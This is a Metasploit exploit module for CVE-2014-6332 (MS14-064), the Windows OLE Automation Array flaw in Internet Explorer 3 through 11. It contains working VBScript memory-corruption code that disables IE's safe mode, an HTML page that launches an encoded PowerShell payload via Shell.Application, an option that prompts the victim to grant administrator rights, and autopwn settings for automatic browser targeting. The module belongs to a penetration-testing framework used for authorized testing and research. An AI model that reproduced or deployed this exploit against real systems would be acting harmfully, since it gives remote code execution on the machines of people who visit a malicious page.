##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/powershell'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Powershell
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "3.0",
:ua_maxver => "10.0",
:javascript => true,
:os_name => OperatingSystems::Match::WINDOWS,
:rank => ExcellentRanking
})
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",
'Description' => %q{
This module exploits Windows OLE Automation Array Vulnerability known as CVE-2014-6332.
The vulnerability affects Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.
Powershell is required on the target machine. On Internet Explorer versions using Protected Mode,
the user has to manually allow powershell.exe to execute in order to be compromised.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Robert Freeman', # IBM X-Force
'yuange', # twitter.com/yuange75
'Rik van Duijn', # twitter.com/rikvduijn
'Wesley Neelen', # security[at]forsec.nl
'GradiusX <francescomifsud[at]gmail.com>',
'b33f', # @FuzzySec
],
'References' =>
[
[ 'CVE', '2014-6332' ],
[ 'MSB', 'MS14-064' ],
[ 'OSVDB', '114533' ],
[ 'EDB', '35229' ],
[ 'EDB', '35308' ],
[ 'URL', 'http://securityintelligence.com/ibm-x-force-researcher-finds-significant-vulnerability-in-microsoft-windows' ],
[ 'URL', 'https://forsec.nl/2014/11/cve-2014-6332-internet-explorer-msf-module' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:ua_name => HttpClients::IE,
:os_name => /win/i,
:arch => 'x86',
:ua_ver => lambda { |ver| ver.to_i.between?(4, 10) }
},
'DefaultOptions' =>
{
'HTTP::compression' => 'gzip'
},
'Payload' =>
{
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => "Nov 13 2014",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('TRYUAC', [true, 'Ask victim to start as Administrator', false]),
], self.class )
end
def vbs_prepare()
code = %Q|
dim aa()
dim ab()
dim a0
dim a1
dim a2
dim a3
dim win9x
dim intVersion
dim rnda
dim funclass
dim myarray
Begin()
neline
function Begin()
On Error Resume Next
info=Navigator.UserAgent
if(instr(info,"Win64")>0) then
exit function
end if
if (instr(info,"MSIE")>0) then
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
else
exit function
end if
win9x=0
BeginInit()
If Create()=True Then
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
if(intVersion<4) then
document.write("<br> IE")
document.write(intVersion)
runshellcode()
else
setnotsafemode()
end if
end if
end function
function BeginInit()
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function
function Create()
On Error Resume Next
dim i
Create=False
For i = 0 To 400
If Over()=True Then
' document.write(i)
Create=True
Exit For
End If
Next
end function
sub testaa()
end sub
function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim Preserve aa(a0)
end function
function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8)
i=readmemo(i+16)
j=readmemo(i+&h134)
for k=0 to &h60 step 4
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4)
redim Preserve aa(a0)
j=0
j=readmemo(i+&h120+k)
Exit for
end if
next
ab(2)=1.69759663316747E-313
runaaaa()
end function
function Over()
On Error Resume Next
dim type1,type2,type3
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)
type1=1
ab(0)=1.123456789012345678901234567890
aa(a0)=10
If(IsObject(aa(a1-1)) = False) Then
if(intVersion<4) then
mem=cint(a0+1)*16
j=vartype(aa(a1-1))
if((j=mem+4) or (j*8=mem+8)) then
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
else
redim Preserve aa(a0)
exit function
end if
else
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
end if
end if
If(type1=&h2f66) Then
Over=True
End If
If(type1=&hB9AD) Then
Over=True
win9x=1
End If
redim Preserve aa(a0)
end function
function ReadMemo(add)
On Error Resume Next
redim Preserve aa(a2)
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
ReadMemo=lenb(aa(a1))
ab(0)=0
redim Preserve aa(a0)
end function
|
end
def get_html()
if datastore['TRYUAC']
tryuac = 'runas'
else
tryuac = 'open'
end
payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true })
payl.slice! "powershell.exe "
prep = vbs_prepare()
html = %Q|
<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<body>
<script language="VBScript">
function runaaaa()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "powershell.exe", "#{payl}", "", "#{tryuac}", 0
end function
</script>
<script language="VBScript">
#{prep}
</script>
</body>
</html>
|
end
def on_request_exploit(cli, request, target_info)
print_status("Requesting: #{request.uri}")
send_exploit_html(cli, get_html())
end
end
